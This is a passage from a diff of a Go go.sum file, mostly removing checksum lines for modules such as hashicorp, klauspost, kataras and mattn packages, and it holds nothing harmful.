v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= -github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= -github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= -github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= -github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= -github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= -github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= -github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= -github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= -github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= -github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= -github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= -github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= @@ -1108,52 +211,19 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= -github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= -github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= -github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= -github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= -github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= -github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= @@ -1161,10 +231,6 @@ github.com/influxdata/influxdb-client-go/v2 v2.13.0 h1:ioBbLmR5NMbAjP4UVA5r9b5xG github.com/influxdata/influxdb-client-go/v2 v2.13.0/go.mod h1:k+spCbt9hcvqvUiz0sr5D8LolXHqAAOfPw9v/RIRHl4= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/iris-contrib/go.uuid v2.0.0+incompatible/go.mod h1:iz2lgM/1UnEf1kP0L/+fafWORmlnuysV2EMP8MW+qe0= -github.com/iris-contrib/httpexpect/v2 v2.15.1/go.mod h1:cUwf1Mm5CWs5ahZNHtDq82WuGOitAWBg/eMGevX9ilg= -github.com/iris-contrib/schema v0.0.6/go.mod h1:iYszG0IOsuIsfzjymw1kMzTL8YQcCWlm65f3wX8J5iA= -github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -1185,7 +251,6 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -1216,10 +281,8 @@ github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dv github.com/jaswdr/faker v1.16.0 h1:5ZjusQbqIZwJnUymPirNKJI1yFCuozdSR9oeYPgD5Uk= github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= -github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -1229,30 +292,9 @@ github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfV github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/kataras/blocks v0.0.7/go.mod h1:UJIU97CluDo0f+zEjbnbkeMRlvYORtmc1304EeyXf4I= -github.com/kataras/golog v0.1.9/go.mod h1:jlpk/bOaYCyqDqH18pgDHdaJab72yBE6i0O3s30hpWY= -github.com/kataras/iris/v12 v12.2.5/go.mod h1:bf3oblPF8tQmRgyPCzPZr0mLazvEDFgImdaGZYuN4hw= -github.com/kataras/jwt v0.1.9/go.mod h1:Kw6GZv2JQN8K4D3NGaSc/qZzTYfaRdyaC2zWi+RBRIQ= -github.com/kataras/neffos v0.0.22/go.mod h1:IIJZcUDvwBxJGlDj942dqQgyznVKYDti91f8Ez+RRxE= -github.com/kataras/pio v0.0.12/go.mod h1:ODK/8XBhhQ5WqrAhKy+9lTPS7sBf6O3KcLhc9klfRcY= -github.com/kataras/sitemap v0.0.6/go.mod h1:dW4dOCNs896OR1HmG+dMLdT7JjDk7mYBzoIRwuj5jA4= -github.com/kataras/tunnel v0.0.4/go.mod h1:9FkU4LaeifdMWqZu7o20ojmW4B7hdhv2CMLwfnHGpYw= -github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= -github.com/klauspost/compress v1.12.3/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg= -github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= -github.com/klauspost/compress v1.15.11/go.mod h1:QPwzmACJjUTFsnSHH934V6woptycfrDDJnH7hvFVbGM= -github.com/klauspost/compress v1.16.5/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= -github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= -github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= -github.com/klauspost/cpuid/v2 v2.2.5/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= -github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -1260,54 +302,31 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/labstack/echo/v4 v4.11.1/go.mod h1:YuYRTSM3CHs2ybfrL8Px48bO6BAnYIN4l8wSTMP6BDQ= -github.com/labstack/gommon v0.4.0/go.mod h1:uW6kP17uPlLJsD3ijUYn3/M5bAxtlZhMI6m3MFxTMTM= -github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= -github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= -github.com/mailgun/raymond/v2 v2.0.48/go.mod h1:lsgvL50kgt1ylcFJYZiULi5fjPBkkhNfj4KA0W54Z18= -github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= -github.com/matryer/try v0.0.0-20161228173917-9ac251b645a2/go.mod h1:0KeJpeMD6o+O4hW7qJOT7vyQPKrWmj26uf5wMc/IiIs= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.11/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= @@ -1315,34 +334,20 @@ github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzp github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= -github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/mediocregopher/radix/v3 v3.8.1/go.mod 